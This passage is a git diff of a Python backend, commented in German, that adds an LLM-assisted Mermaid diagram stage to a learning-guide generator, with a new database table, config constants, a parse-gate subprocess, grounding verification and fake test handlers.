|
# nur Wortzeichen/Umlaute/- /_. Kein „.", kein „/" → sicher als Pfadkomponente
|
||||||
|
# (rmtree, Snapshot-Ordner) UND als Shell-Argument (Transfer-Makefile).
|
||||||
|
TOPIC_NAME_RE = _re.compile(r"^[A-Za-z0-9äöüÄÖÜß][\wäöüÄÖÜß-]{0,63}$")
|
||||||
|
|
||||||
|
|
||||||
|
def topic_name_ok(name: str) -> bool:
|
||||||
|
return bool(name) and TOPIC_NAME_RE.match(name) is not None
|
||||||
|
|
||||||
|
|
||||||
# ── Nebenläufigkeit ───────────────────────────────────────────────────────────
|
# ── Nebenläufigkeit ───────────────────────────────────────────────────────────
|
||||||
MAX_CONCURRENT_AGENTS = int(os.getenv("MAX_CONCURRENT_AGENTS", "16")) # CLI-Prozesse (~310 MB RSS)
|
MAX_CONCURRENT_AGENTS = int(os.getenv("MAX_CONCURRENT_AGENTS", "16")) # CLI-Prozesse (~310 MB RSS)
|
||||||
MAX_CONCURRENT_API_AGENTS = int(os.getenv("MAX_CONCURRENT_API_AGENTS", "28")) # direkte API, ~0 RAM
|
MAX_CONCURRENT_API_AGENTS = int(os.getenv("MAX_CONCURRENT_API_AGENTS", "28")) # direkte API, ~0 RAM
|
||||||
@@ -86,6 +102,10 @@ BAUSTEIN_MAX_ATOME = 8
|
|||||||
ZIELE_CHUNK_ATOME = 30 # Atome pro Lernziel-Call
|
ZIELE_CHUNK_ATOME = 30 # Atome pro Lernziel-Call
|
||||||
KAPITEL_BAUSTEINE = 5 # Richtwert Bausteine je Kapitel (Kapitel-Schnitt-Judge)
|
KAPITEL_BAUSTEINE = 5 # Richtwert Bausteine je Kapitel (Kapitel-Schnitt-Judge)
|
||||||
|
|
||||||
|
# ── Ebene 3.5: Diagramme ──────────────────────────────────────────────────────
|
||||||
|
DIAGRAMM_MIN_KANTEN = 3 # ab so vielen internen braucht-Kanten → Abhängigkeitsdiagramm
|
||||||
|
DIAGRAMM_TYPEN = ("dependency", "state", "flow", "tree")
|
||||||
|
|
||||||
# ── Ebene 4: Guide ────────────────────────────────────────────────────────────
|
# ── Ebene 4: Guide ────────────────────────────────────────────────────────────
|
||||||
SECTION_WOERTER_PRO_ATOM = (40, 220) # Längenband ausführlicher Teil je Atom
|
SECTION_WOERTER_PRO_ATOM = (40, 220) # Längenband ausführlicher Teil je Atom
|
||||||
|
|
||||||
@@ -111,6 +131,9 @@ TIMEOUTS = {
|
|||||||
"writer": (450, 60),
|
"writer": (450, 60),
|
||||||
"pruefer": (600, 5),
|
"pruefer": (600, 5),
|
||||||
"qa_judge": (600, 0),
|
"qa_judge": (600, 0),
|
||||||
|
"diagramm_plan": (200, 0),
|
||||||
|
"diagramm_spec": (300, 0),
|
||||||
|
"diagramm_verify": (200, 5),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ CREATE TABLE IF NOT EXISTS quellen(
|
|||||||
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, art TEXT NOT NULL CHECK(art IN ('web','datei')),
|
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, art TEXT NOT NULL CHECK(art IN ('web','datei')),
|
||||||
titel TEXT NOT NULL, url TEXT DEFAULT '', snapshot TEXT NOT NULL, hash TEXT DEFAULT '',
|
titel TEXT NOT NULL, url TEXT DEFAULT '', snapshot TEXT NOT NULL, hash TEXT DEFAULT '',
|
||||||
runde INTEGER DEFAULT 0, status TEXT NOT NULL DEFAULT 'neu',
|
runde INTEGER DEFAULT 0, status TEXT NOT NULL DEFAULT 'neu',
|
||||||
rolle TEXT NOT NULL DEFAULT 'stoff');
|
rolle TEXT NOT NULL DEFAULT 'stoff', atome_stand TEXT NOT NULL DEFAULT '');
|
||||||
CREATE TABLE IF NOT EXISTS soll(
|
CREATE TABLE IF NOT EXISTS soll(
|
||||||
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, punkt TEXT NOT NULL,
|
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, punkt TEXT NOT NULL,
|
||||||
status TEXT NOT NULL DEFAULT 'kandidat', belege TEXT NOT NULL DEFAULT '[]',
|
status TEXT NOT NULL DEFAULT 'kandidat', belege TEXT NOT NULL DEFAULT '[]',
|
||||||
@@ -96,6 +96,12 @@ CREATE TABLE IF NOT EXISTS kapitel(
|
|||||||
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, titel TEXT NOT NULL,
|
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, titel TEXT NOT NULL,
|
||||||
intro TEXT NOT NULL DEFAULT '', ord INTEGER DEFAULT 0,
|
intro TEXT NOT NULL DEFAULT '', ord INTEGER DEFAULT 0,
|
||||||
art TEXT NOT NULL DEFAULT 'judge', level TEXT NOT NULL DEFAULT 'M');
|
art TEXT NOT NULL DEFAULT 'judge', level TEXT NOT NULL DEFAULT 'M');
|
||||||
|
CREATE TABLE IF NOT EXISTS diagramme(
|
||||||
|
id INTEGER PRIMARY KEY, topic TEXT NOT NULL, baustein_id INTEGER NOT NULL,
|
||||||
|
typ TEXT NOT NULL, quelle TEXT NOT NULL DEFAULT 'dag',
|
||||||
|
spec TEXT NOT NULL DEFAULT '{}', mermaid TEXT NOT NULL DEFAULT '',
|
||||||
|
status TEXT NOT NULL DEFAULT 'geplant', befunde TEXT NOT NULL DEFAULT '[]');
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_diagramme_baustein ON diagramme(baustein_id);
|
||||||
CREATE TABLE IF NOT EXISTS sections(
|
CREATE TABLE IF NOT EXISTS sections(
|
||||||
baustein_id INTEGER PRIMARY KEY, stage TEXT NOT NULL DEFAULT 'writer',
|
baustein_id INTEGER PRIMARY KEY, stage TEXT NOT NULL DEFAULT 'writer',
|
||||||
text_kompakt TEXT DEFAULT '', text_lang TEXT DEFAULT '', befunde TEXT DEFAULT '[]',
|
text_kompakt TEXT DEFAULT '', text_lang TEXT DEFAULT '', befunde TEXT DEFAULT '[]',
|
||||||
@@ -110,7 +116,7 @@ CREATE TABLE IF NOT EXISTS befunde(
|
|||||||
|
|
||||||
# Tabellen, deren Änderungen das Live-Board interessieren.
|
# Tabellen, deren Änderungen das Live-Board interessieren.
|
||||||
_LIVE_TABELLEN = {"topics", "runs", "quellen", "soll", "atome", "artefakte",
|
_LIVE_TABELLEN = {"topics", "runs", "quellen", "soll", "atome", "artefakte",
|
||||||
"lernziele", "bausteine", "kapitel", "sections", "befunde"}
|
"lernziele", "bausteine", "kapitel", "sections", "befunde", "diagramme"}
|
||||||
|
|
||||||
|
|
||||||
def _init_schema(con: sqlite3.Connection) -> None:
|
def _init_schema(con: sqlite3.Connection) -> None:
|
||||||
@@ -126,7 +132,8 @@ def _init_schema(con: sqlite3.Connection) -> None:
|
|||||||
"ALTER TABLE kapitel ADD COLUMN art TEXT NOT NULL DEFAULT 'judge'",
|
"ALTER TABLE kapitel ADD COLUMN art TEXT NOT NULL DEFAULT 'judge'",
|
||||||
"ALTER TABLE bausteine ADD COLUMN level TEXT NOT NULL DEFAULT 'M'",
|
"ALTER TABLE bausteine ADD COLUMN level TEXT NOT NULL DEFAULT 'M'",
|
||||||
"ALTER TABLE kapitel ADD COLUMN level TEXT NOT NULL DEFAULT 'M'",
|
"ALTER TABLE kapitel ADD COLUMN level TEXT NOT NULL DEFAULT 'M'",
|
||||||
"ALTER TABLE soll ADD COLUMN geprueft TEXT NOT NULL DEFAULT '[]'"):
|
"ALTER TABLE soll ADD COLUMN geprueft TEXT NOT NULL DEFAULT '[]'",
|
||||||
|
"ALTER TABLE quellen ADD COLUMN atome_stand TEXT NOT NULL DEFAULT ''"):
|
||||||
try:
|
try:
|
||||||
con.execute(zusatz)
|
con.execute(zusatz)
|
||||||
except sqlite3.OperationalError:
|
except sqlite3.OperationalError:
|
||||||
@@ -181,6 +188,14 @@ def update(tabelle: str, id_feld: str, id_wert, **felder) -> None:
|
|||||||
_notify(tabelle, {id_feld: id_wert, **felder})
|
_notify(tabelle, {id_feld: id_wert, **felder})
|
||||||
|
|
||||||
|
|
||||||
|
def now() -> str:
|
||||||
|
"""UTC-Zeitstempel im SQLite-datetime('now')-Format (wie runs.gestartet).
|
||||||
|
Für Timestamp-Spalten — der Literal-String „jetzt" landete sonst als Müll
|
||||||
|
in runs.beendet und machte jede Dauer-Query unbrauchbar."""
|
||||||
|
import time
|
||||||
|
return time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime())
|
||||||
|
|
||||||
|
|
||||||
def j(obj) -> str:
|
def j(obj) -> str:
|
||||||
return json.dumps(obj, ensure_ascii=False)
|
return json.dumps(obj, ensure_ascii=False)
|
||||||
|
|
||||||
|
|||||||
304
backend/diagramme.py
Normal file
304
backend/diagramme.py
Normal file
@@ -0,0 +1,304 @@
|
|||||||
|
"""Ebene 3.5: Diagramme. Pro Baustein ein Mermaid-Diagramm, wenn es Struktur oder
|
||||||
|
Prozess sichtbar macht (Multimedia-Prinzip: instruktive Bilder heben Transfer,
|
||||||
|
Deko schadet). Zuverlässigkeits-Prinzip: der LLM liefert NIE rohes Mermaid, nur
|
||||||
|
Struktur-JSON; Python kompiliert deterministisch; ein Parse-Gate (mermaid_check.mjs)
|
||||||
|
ist das Sicherheitsnetz. Abhängigkeitsdiagramme kommen direkt aus dem braucht-DAG,
|
||||||
|
ganz ohne LLM — korrekt per Konstruktion, null Halluzination.
|
||||||
|
|
||||||
|
Phasen von bauen(): planen (welche + Typ) → Spec (nur LLM-Zweig) → kompilieren →
|
||||||
|
Gate → verifizieren (Grounding). Platziert werden Diagramme erst im Guide-Writer
|
||||||
|
(E4) über `<!-- diagramm: id -->`; das Assembly tauscht den Marker gegen den Fence."""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import db
|
||||||
|
import llm
|
||||||
|
from config import DIAGRAMM_MIN_KANTEN, DIAGRAMM_TYPEN, DURCHGANG, VERIFY_PANEL
|
||||||
|
|
||||||
|
log = logging.getLogger("creator2.diagramme")
|
||||||
|
|
||||||
|
EBENE = "diagramme"
|
||||||
|
|
||||||
|
_MERMAID_SKRIPT = Path(__file__).resolve().parent / "mermaid_check.mjs"
|
||||||
|
_MERMAID_BASE = Path(__file__).resolve().parent.parent / "frontend"
|
||||||
|
_mermaid_gewarnt = False
|
||||||
|
|
||||||
|
|
||||||
|
def _mermaid_fehler(diagramme: list[dict]) -> dict[int, str]:
|
||||||
|
"""Parse-Gate: Diagramme durch DENSELBEN Parser wie das Frontend jagen (Zwilling
|
||||||
|
zu guide._katex_fehler). → {id: fehlermeldung} nur der fehlerhaften. Fake-Modus
|
||||||
|
überspringt (deterministisch); fail-open MIT Warnung, wenn node/mermaid fehlt."""
|
||||||
|
global _mermaid_gewarnt
|
||||||
|
if not diagramme or os.getenv("CREATOR_FAKE_AGENTS"):
|
||||||
|
return {}
|
||||||
|
try:
|
||||||
|
res = subprocess.run(
|
||||||
|
["node", str(_MERMAID_SKRIPT)],
|
||||||
|
input=json.dumps([{"id": d["id"], "code": d["mermaid"]} for d in diagramme]),
|
||||||
|
capture_output=True, text=True, timeout=60,
|
||||||
|
env={**os.environ, "MERMAID_BASE": str(_MERMAID_BASE)})
|
||||||
|
if res.returncode:
|
||||||
|
raise RuntimeError(res.stderr.strip()[:200])
|
||||||
|
return {e["id"]: e["fehler"] for e in json.loads(res.stdout)}
|
||||||
|
except Exception as e: # nie fail-open OHNE Signal (Befund-Prinzip)
|
||||||
|
if not _mermaid_gewarnt:
|
||||||
|
_mermaid_gewarnt = True
|
||||||
|
log.warning("Mermaid-Gate nicht verfügbar (%s) — Diagramm-Validierung fällt aus", e)
|
||||||
|
return {}
|
||||||
|
|
||||||
|
|
||||||
|
def _bausteine(topic: str) -> list[dict]:
|
||||||
|
return db.query("SELECT * FROM bausteine WHERE topic=? ORDER BY ord", (topic,))
|
||||||
|
|
||||||
|
|
||||||
|
def _atome_von(baustein_id: int) -> list[dict]:
|
||||||
|
return db.query("SELECT * FROM atome WHERE baustein_id=? AND status NOT IN"
|
||||||
|
" ('gemerged','verworfen') ORDER BY ord", (baustein_id,))
|
||||||
|
|
||||||
|
|
||||||
|
def _interne_kanten(topic: str, ids: set[int]) -> list[dict]:
|
||||||
|
"""aktive braucht-Kanten, deren BEIDE Enden im Baustein liegen."""
|
||||||
|
if len(ids) < 2:
|
||||||
|
return []
|
||||||
|
return [k for k in db.query(
|
||||||
|
"SELECT * FROM kanten WHERE topic=? AND art='braucht' AND status='aktiv'", (topic,))
|
||||||
|
if k["von_atom"] in ids and k["zu_atom"] in ids]
|
||||||
|
|
||||||
|
|
||||||
|
# ── Spec (JSON-Zwischenrepräsentation) ────────────────────────────────────────
|
||||||
|
|
||||||
|
def _dag_spec(atome: list[dict], kanten: list[dict]) -> dict:
|
||||||
|
"""Abhängigkeitsdiagramm direkt aus dem braucht-Graph. `von braucht zu` ⇒ Pfeil
|
||||||
|
zu→von (Voraussetzung zeigt auf das, was sie ermöglicht). Kein LLM."""
|
||||||
|
knoten = [{"id": str(a["id"]), "label": a["titel"]} for a in atome]
|
||||||
|
kanten_spec = [{"von": str(k["zu_atom"]), "zu": str(k["von_atom"]), "label": ""}
|
||||||
|
for k in kanten]
|
||||||
|
return {"typ": "dependency", "knoten": knoten, "kanten": kanten_spec}
|
||||||
|
|
||||||
|
|
||||||
|
# ── Kompilieren (deterministisch, kein LLM) ───────────────────────────────────
|
||||||
|
|
||||||
|
def _sid(raw) -> str:
|
||||||
|
"""Mermaid-Knoten-ID: nur alnum/_ erlaubt, führender Buchstabe."""
|
||||||
|
return "n" + re.sub(r"[^A-Za-z0-9]", "_", str(raw))
|
||||||
|
|
||||||
|
|
||||||
|
def _lbl(text) -> str:
|
||||||
|
"""Label für Mermaid entschärfen: keine Anführungszeichen/Klammern/Zeilenumbrüche,
|
||||||
|
die die Syntax brechen. Gekürzt (Lesbarkeit)."""
|
||||||
|
t = str(text).replace('"', "'").replace("\n", " ")
|
||||||
|
t = t.replace("[", "(").replace("]", ")").replace("{", "(").replace("}", ")")
|
||||||
|
return t.strip()[:80] or "?"
|
||||||
|
|
||||||
|
|
||||||
|
def _spec_zu_mermaid(spec: dict) -> str:
|
||||||
|
"""Struktur-JSON → Mermaid-Quelltext. state → stateDiagram-v2, sonst flowchart."""
|
||||||
|
knoten = spec.get("knoten") or []
|
||||||
|
kanten = spec.get("kanten") or []
|
||||||
|
if not knoten:
|
||||||
|
return ""
|
||||||
|
if spec.get("typ") == "state":
|
||||||
|
zeilen = ["stateDiagram-v2"]
|
||||||
|
for k in kanten:
|
||||||
|
lab = _lbl(k.get("label", ""))
|
||||||
|
pfeil = f": {lab}" if lab and lab != "?" else ""
|
||||||
|
zeilen.append(f" {_sid(k['von'])} --> {_sid(k['zu'])}{pfeil}")
|
||||||
|
return "\n".join(zeilen)
|
||||||
|
zeilen = ["flowchart TD"]
|
||||||
|
for n in knoten:
|
||||||
|
zeilen.append(f' {_sid(n["id"])}["{_lbl(n["label"])}"]')
|
||||||
|
for k in kanten:
|
||||||
|
lab = _lbl(k.get("label", ""))
|
||||||
|
pfeil = f"-- {lab} -->" if lab and lab != "?" else "-->"
|
||||||
|
zeilen.append(f' {_sid(k["von"])} {pfeil} {_sid(k["zu"])}')
|
||||||
|
return "\n".join(zeilen)
|
||||||
|
|
||||||
|
|
||||||
|
def _kompilieren(topic: str) -> None:
|
||||||
|
for d in db.query("SELECT * FROM diagramme WHERE topic=? AND status='geplant'"
|
||||||
|
" AND spec!='{}'", (topic,)):
|
||||||
|
mermaid = _spec_zu_mermaid(db.uj(d["spec"], {}))
|
||||||
|
if mermaid:
|
||||||
|
db.update("diagramme", "id", d["id"], mermaid=mermaid, status="kandidat")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Planung (welche + Typ) ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _planen(topic: str) -> None:
|
||||||
|
"""Deterministischer Zweig: Baustein mit ≥DIAGRAMM_MIN_KANTEN internen
|
||||||
|
braucht-Kanten → Abhängigkeitsdiagramm aus dem DAG. Idempotent: Bausteine mit
|
||||||
|
bestehender Diagramm-Zeile werden übersprungen. Kein LLM, null Halluzination."""
|
||||||
|
for b in _bausteine(topic):
|
||||||
|
if db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b["id"],)):
|
||||||
|
continue
|
||||||
|
atome = _atome_von(b["id"])
|
||||||
|
ids = {a["id"] for a in atome}
|
||||||
|
kanten = _interne_kanten(topic, ids)
|
||||||
|
if len(kanten) >= DIAGRAMM_MIN_KANTEN:
|
||||||
|
db.insert("diagramme", topic=topic, baustein_id=b["id"], typ="dependency",
|
||||||
|
quelle="dag", spec=db.j(_dag_spec(atome, kanten)), status="geplant")
|
||||||
|
|
||||||
|
|
||||||
|
def _atom_liste(atome: list[dict]) -> str:
|
||||||
|
return "\n".join(f"{a['id']}: {a['titel']} — {a['definition']}" for a in atome)
|
||||||
|
|
||||||
|
|
||||||
|
async def _plan_judge(ctx: llm.Kontext) -> None:
|
||||||
|
"""LLM-Zweig, Schritt „welche + Typ": je Baustein OHNE Diagramm-Zeile entscheidet
|
||||||
|
ein Judge, ob ein Automaten-/Ablauf-/Baum-Diagramm nötig ist (Multimedia-Regel
|
||||||
|
im Prompt). „noetig" → status='geplant'/quelle='llm'; sonst eine 'kein'-Zeile,
|
||||||
|
damit der Judge nicht jede Repair-Iteration erneut fragt (idempotent)."""
|
||||||
|
alle = _bausteine(ctx.topic)
|
||||||
|
je_kap: dict = {}
|
||||||
|
for b in alle:
|
||||||
|
je_kap.setdefault(b["kapitel_id"], []).append(b["titel"])
|
||||||
|
|
||||||
|
async def einer(b: dict) -> None:
|
||||||
|
if db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b["id"],)):
|
||||||
|
return
|
||||||
|
atome = _atome_von(b["id"])
|
||||||
|
if not atome:
|
||||||
|
return
|
||||||
|
nachbarn = "\n".join(f"- {t}" for t in je_kap.get(b["kapitel_id"], [])
|
||||||
|
if t != b["titel"]) or "(keine)"
|
||||||
|
res = await llm.call(ctx, stage="diagramm_plan", template="Diagramm-Plan",
|
||||||
|
role="judge", n=len(atome), item=f"dp{b['id']}",
|
||||||
|
werte={"titel": b["titel"], "atome": _atom_liste(atome),
|
||||||
|
"nachbarn": nachbarn,
|
||||||
|
"durchgang": DURCHGANG.get(b["level"], DURCHGANG["M"])},
|
||||||
|
erwartet=dict)
|
||||||
|
if res is None:
|
||||||
|
return # Ausfall → nächste Runde erneut (kein 'kein'-Eintrag)
|
||||||
|
typ = str(res.get("typ", "")).strip()
|
||||||
|
if res.get("noetig") and typ in DIAGRAMM_TYPEN and typ != "dependency":
|
||||||
|
db.insert("diagramme", topic=ctx.topic, baustein_id=b["id"], typ=typ,
|
||||||
|
quelle="llm", status="geplant")
|
||||||
|
else:
|
||||||
|
db.insert("diagramme", topic=ctx.topic, baustein_id=b["id"], typ="",
|
||||||
|
quelle="llm", status="kein") # kein Diagramm — nicht erneut fragen
|
||||||
|
|
||||||
|
await llm.alle(einer(b) for b in alle)
|
||||||
|
|
||||||
|
|
||||||
|
def _spec_normalisieren(res: dict, typ: str) -> dict:
|
||||||
|
"""LLM-Spec säubern: nur Knoten mit id+label, nur Kanten zwischen echten Knoten."""
|
||||||
|
knoten = [{"id": str(n.get("id", "")).strip(), "label": str(n.get("label", "")).strip()}
|
||||||
|
for n in (res.get("knoten") or []) if isinstance(n, dict) and n.get("id")]
|
||||||
|
gueltig = {n["id"] for n in knoten}
|
||||||
|
kanten = [{"von": str(k.get("von", "")).strip(), "zu": str(k.get("zu", "")).strip(),
|
||||||
|
"label": str(k.get("label", "")).strip()}
|
||||||
|
for k in (res.get("kanten") or [])
|
||||||
|
if isinstance(k, dict) and str(k.get("von")) in gueltig
|
||||||
|
and str(k.get("zu")) in gueltig]
|
||||||
|
return {"typ": typ, "knoten": knoten, "kanten": kanten}
|
||||||
|
|
||||||
|
|
||||||
|
async def _spec_bauen(ctx: llm.Kontext) -> None:
|
||||||
|
"""LLM liefert NUR Struktur-JSON (kein Mermaid) — die Hauptfehlerquelle
|
||||||
|
(roh geschriebenes Mermaid) fällt so weg. Kompiliert wird deterministisch."""
|
||||||
|
offen = db.query("SELECT * FROM diagramme WHERE topic=? AND status='geplant'"
|
||||||
|
" AND quelle='llm' AND spec='{}'", (ctx.topic,))
|
||||||
|
|
||||||
|
async def einer(d: dict) -> None:
|
||||||
|
b = db.one("SELECT * FROM bausteine WHERE id=?", (d["baustein_id"],))
|
||||||
|
atome = _atome_von(d["baustein_id"])
|
||||||
|
res = await llm.call(ctx, stage="diagramm_spec", template="Diagramm-Spec",
|
||||||
|
role="guide", n=len(atome), item=f"ds{d['id']}",
|
||||||
|
werte={"titel": b["titel"] if b else "", "typ": d["typ"],
|
||||||
|
"atome": _atom_liste(atome)}, erwartet=dict)
|
||||||
|
if res is None:
|
||||||
|
return # Ausfall → bleibt 'geplant', nächste Runde erneut
|
||||||
|
spec = _spec_normalisieren(res, d["typ"])
|
||||||
|
if spec["knoten"]:
|
||||||
|
db.update("diagramme", "id", d["id"], spec=db.j(spec))
|
||||||
|
|
||||||
|
await llm.alle(einer(d) for d in offen)
|
||||||
|
|
||||||
|
|
||||||
|
async def _verifizieren(ctx: llm.Kontext) -> None:
|
||||||
|
"""Grounding-Panel für LLM-Diagramme: jeder Knoten muss aus einem Atom ableitbar
|
||||||
|
sein, keine erfundene Struktur. Verwerfen (destruktiv) nur einstimmig
|
||||||
|
(llm.einstimmig) — Panel-Ausfall lässt den Kandidaten stehen."""
|
||||||
|
offen = db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'"
|
||||||
|
" AND quelle='llm'", (ctx.topic,))
|
||||||
|
|
||||||
|
def urteil(stimme):
|
||||||
|
if stimme and isinstance(stimme[0], dict) and "ok" in stimme[0]:
|
||||||
|
return bool(stimme[0]["ok"])
|
||||||
|
return None
|
||||||
|
|
||||||
|
async def einer(d: dict) -> None:
|
||||||
|
atome = _atome_von(d["baustein_id"])
|
||||||
|
stimmen = await llm.panel(ctx, VERIFY_PANEL, stage="diagramm_verify",
|
||||||
|
template="Diagramm-Verify", schritt="diagramm_verify",
|
||||||
|
role="judge", n=len(atome), item=f"dv{d['id']}",
|
||||||
|
werte={"atome": _atom_liste(atome), "mermaid": d["mermaid"]},
|
||||||
|
erwartet=list)
|
||||||
|
if llm.einstimmig(stimmen, VERIFY_PANEL, urteil):
|
||||||
|
db.update("diagramme", "id", d["id"], status="verifiziert")
|
||||||
|
elif llm.einstimmig(stimmen, VERIFY_PANEL,
|
||||||
|
lambda s: None if urteil(s) is None else not urteil(s)):
|
||||||
|
db.update("diagramme", "id", d["id"], status="verworfen",
|
||||||
|
befunde=db.j(["Grounding-Panel: nicht aus den Atomen ableitbar"]))
|
||||||
|
# sonst: Kandidat bleibt (Panel-Ausfall / uneins) — nächste Runde erneut
|
||||||
|
|
||||||
|
await llm.alle(einer(d) for d in offen)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Ebenen-Vertrag ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def bauen(ctx: llm.Kontext) -> None:
|
||||||
|
ctx.ebene = EBENE
|
||||||
|
_planen(ctx.topic) # welche/Typ: deterministisch (DAG)
|
||||||
|
await _plan_judge(ctx) # welche/Typ: Judge (Automaten/Abläufe/Bäume)
|
||||||
|
await _spec_bauen(ctx) # LLM → Struktur-JSON (kein rohes Mermaid)
|
||||||
|
_kompilieren(ctx.topic) # Spec → Mermaid (deterministisch)
|
||||||
|
_gate_kandidaten(ctx.topic) # Parse-Gate: ungültige Mermaid-Quelle → verworfen
|
||||||
|
# dag-Diagramme sind per Konstruktion gegroundet → nach bestandenem Gate verifiziert
|
||||||
|
for d in db.query("SELECT id FROM diagramme WHERE topic=? AND status='kandidat'"
|
||||||
|
" AND quelle='dag'", (ctx.topic,)):
|
||||||
|
db.update("diagramme", "id", d["id"], status="verifiziert")
|
||||||
|
await _verifizieren(ctx) # LLM-Diagramme: Grounding-Panel gegen die Atome
|
||||||
|
|
||||||
|
|
||||||
|
def _gate_kandidaten(topic: str) -> None:
|
||||||
|
"""Kandidaten durchs Parse-Gate: Syntaxfehler → verworfen (mit Befund). Ein
|
||||||
|
kaputtes Diagramm darf nie in den Guide (fail-closed)."""
|
||||||
|
kandidaten = db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'"
|
||||||
|
" AND mermaid!=''", (topic,))
|
||||||
|
fehler = _mermaid_fehler(kandidaten)
|
||||||
|
for d in kandidaten:
|
||||||
|
if d["id"] in fehler:
|
||||||
|
db.update("diagramme", "id", d["id"], status="verworfen",
|
||||||
|
befunde=db.j([f"Parse-Fehler: {fehler[d['id']]}"]))
|
||||||
|
|
||||||
|
|
||||||
|
def messen(ctx: llm.Kontext) -> list[dict]:
|
||||||
|
befunde = []
|
||||||
|
for d in db.query("SELECT * FROM diagramme WHERE topic=? AND status='kandidat'",
|
||||||
|
(ctx.topic,)):
|
||||||
|
# hängengebliebener Kandidat (Spec/Verify offen) — sichtbar, kein stiller Verlust
|
||||||
|
befunde.append({"art": "diagramm_unverifiziert", "item": str(d["id"]),
|
||||||
|
"detail": f"Baustein {d['baustein_id']}"})
|
||||||
|
return befunde
|
||||||
|
|
||||||
|
|
||||||
|
async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
||||||
|
ctx.ebene = EBENE
|
||||||
|
if not befunde:
|
||||||
|
return False
|
||||||
|
await bauen(ctx)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def gate(ctx: llm.Kontext) -> str | None:
|
||||||
|
"""Diagramme sind optional — KEINE Diagramme blockiert den Lauf nicht. Backstop:
|
||||||
|
ein verifiziertes Diagramm ohne Mermaid-Quelltext darf nie ausgeliefert werden."""
|
||||||
|
tot = db.one("SELECT id FROM diagramme WHERE topic=? AND status='verifiziert'"
|
||||||
|
" AND mermaid='' LIMIT 1", (ctx.topic,))
|
||||||
|
return "verifiziertes Diagramm ohne Quelltext" if tot else None
|
||||||
@@ -205,8 +205,12 @@ def _writer(prompt: str):
|
|||||||
lo = int(re.search(r"hat (\d+)–", prompt).group(1)) if re.search(r"hat (\d+)–", prompt) else 40
|
lo = int(re.search(r"hat (\d+)–", prompt).group(1)) if re.search(r"hat (\d+)–", prompt) else 40
|
||||||
absaetze = [f"Ziel dieser Einheit: {ziel.group(1) if ziel else 'Lernen'}. Formal: $n \\ge 0$."]
|
absaetze = [f"Ziel dieser Einheit: {ziel.group(1) if ziel else 'Lernen'}. Formal: $n \\ge 0$."]
|
||||||
fuellung = "Daran anknüpfend gehen wir das Schritt für Schritt am Beispiel durch. " * 5
|
fuellung = "Daran anknüpfend gehen wir das Schritt für Schritt am Beispiel durch. " * 5
|
||||||
for (mk, titel), d in zip(marker, defs):
|
diag = re.findall(r"(<!-- diagramm: \d+ -->)", prompt) # angebotene Diagramme
|
||||||
absaetze.append(f"#### {titel} verstehen\n{mk}\n{d} {fuellung}")
|
for n, ((mk, titel), d) in enumerate(zip(marker, defs)):
|
||||||
|
block = f"#### {titel} verstehen\n{mk}\n{d} {fuellung}"
|
||||||
|
if n == 0 and diag: # erstes Diagramm beim ersten Absatz platzieren
|
||||||
|
block += f"\n\n{diag[0]}"
|
||||||
|
absaetze.append(block)
|
||||||
absaetze.append("**Kernpunkte:**\n" + "\n".join(f"- {t} sitzt" for _, t in marker))
|
absaetze.append("**Kernpunkte:**\n" + "\n".join(f"- {t} sitzt" for _, t in marker))
|
||||||
if fragen:
|
if fragen:
|
||||||
absaetze.append("**Prüfe dich:**\n" + "\n".join(f"- {f}" for f in fragen))
|
absaetze.append("**Prüfe dich:**\n" + "\n".join(f"- {f}" for f in fragen))
|
||||||
@@ -217,6 +221,23 @@ def _writer(prompt: str):
|
|||||||
"lang": lang}
|
"lang": lang}
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramm_plan(prompt: str):
|
||||||
|
# deterministisch: die Fake-Welt braucht kein LLM-Diagramm (DAG-Pfad wird
|
||||||
|
# getestet). Unit-Tests für den LLM-Zweig monkeypatchen diesen Handler.
|
||||||
|
return {"noetig": False, "typ": ""}
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramm_spec(prompt: str):
|
||||||
|
ids = [i for i in re.findall(r"^(\d+):", _text_nach(prompt, "ATOME:"), re.MULTILINE)]
|
||||||
|
knoten = [{"id": i, "label": f"Konzept {i}"} for i in ids]
|
||||||
|
kanten = [{"von": ids[k], "zu": ids[k + 1], "label": ""} for k in range(len(ids) - 1)]
|
||||||
|
return {"typ": "flow", "knoten": knoten, "kanten": kanten}
|
||||||
|
|
||||||
|
|
||||||
|
def _diagramm_verify(prompt: str):
|
||||||
|
return [{"ok": True, "mangel": ""}]
|
||||||
|
|
||||||
|
|
||||||
def _pruefer(prompt: str):
|
def _pruefer(prompt: str):
|
||||||
return {"befunde": []}
|
return {"befunde": []}
|
||||||
|
|
||||||
@@ -251,4 +272,6 @@ _HANDLER = {
|
|||||||
"Kanten-Zyklus": _zyklus,
|
"Kanten-Zyklus": _zyklus,
|
||||||
"Guide-Writer": _writer, "Guide-Pruefer": _pruefer, "Guide-Fix": _fix,
|
"Guide-Writer": _writer, "Guide-Pruefer": _pruefer, "Guide-Fix": _fix,
|
||||||
"QA-Guide-Falsch": _qa_falsch, "QA-Guide-Falsch-Check": _qa_falsch_check,
|
"QA-Guide-Falsch": _qa_falsch, "QA-Guide-Falsch-Check": _qa_falsch_check,
|
||||||
|
"Diagramm-Plan": _diagramm_plan, "Diagramm-Spec": _diagramm_spec,
|
||||||
|
